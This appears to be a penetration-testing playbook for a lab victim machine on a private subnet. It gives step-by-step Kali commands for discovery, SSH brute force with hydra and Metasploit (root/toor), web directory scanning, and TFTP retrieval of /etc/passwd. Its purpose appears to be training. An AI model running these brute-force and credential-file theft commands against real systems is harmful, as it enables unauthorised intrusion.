■■ Victim Machine Attack Playbook

■ Scenario

The victim machine has been configured using the setup script.
- Random IP in: 172.16.45.0/24
- Optional vulnerable services: SSH, Apache, TFTP
- Attacker machine: Kali Linux

1■■ Discovery Phase

■ *Identify Victim IP*

```
netdiscover -r 172.16.45.0/24
nmap -sn 172.16.45.0/24
arp-scan 172.16.45.0/24
```

2■■ Enumeration Phase

■ *Scan Open Ports & Services*

```
nmap -sV -O 172.16.45.X
```

■ *Common Services Expected*

```
22 - SSH
80 - Apache
69 - TFTP (UDP)
```

3■■ Exploitation Phase

■ *SSH (22/tcp)*

```
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://172.16.45.X
nmap --script ssh-brute --script-args userdb=/usr/share/wordlists/user.txt,passdb=/usr/share/wordlis
```

■ *Apache HTTP (80/tcp)*

```
nikto -h http://172.16.45.X
gobuster dir -u http://172.16.45.X -w /usr/share/wordlists/dirb/common.txt
```

■ *TFTP (69/udp)*

```
tftp 172.16.45.X
tftp> get boot.ini
tftp> get /etc/passwd
```

4■■ Metasploit Modules

■ *SSH*

```
use exploit/multi/ssh/sshexec
```

```
set RHOSTS 172.16.45.X
set USERNAME root
set PASSWORD toor
run
```

■ *Apache*

```
search type:exploit apache
```

■ *TFTP*

```
use auxiliary/admin/tftp/tftp_transfer_util
set RHOSTS 172.16.45.X
set ACTION GET
set FILENAME /etc/passwd
run
```

5■■ Post-Exploitation

■ *Commands*

```
whoami
uname -a
id
ifconfig
cat /etc/passwd
```

■ Tips & Notes

■ *Fastest Way to Find Victim*

```
arp-scan 172.16.45.0/24
```

■ *Useful Nmap Combos*

```
nmap -sC -sV 172.16.45.X
nmap -p- 172.16.45.X
```

■ *Hydra Quick Reference*

```
hydra -L users.txt -P passwords.txt ssh://172.16.45.X
```

■ *Common Pitfalls*

```
- Victim IP changes each time → always rediscover.
- TFTP often uses UDP → normal TCP scanners may miss it.
- Apache may look 'boring' but hidden dirs (/admin, /uploads) are valuable.
```

■ *Quick Recon Notes*

```
- SSH: Often vulnerable to weak credentials.
- Apache: Hidden endpoints, outdated versions.
- TFTP: No authentication, try downloading sensitive files.
```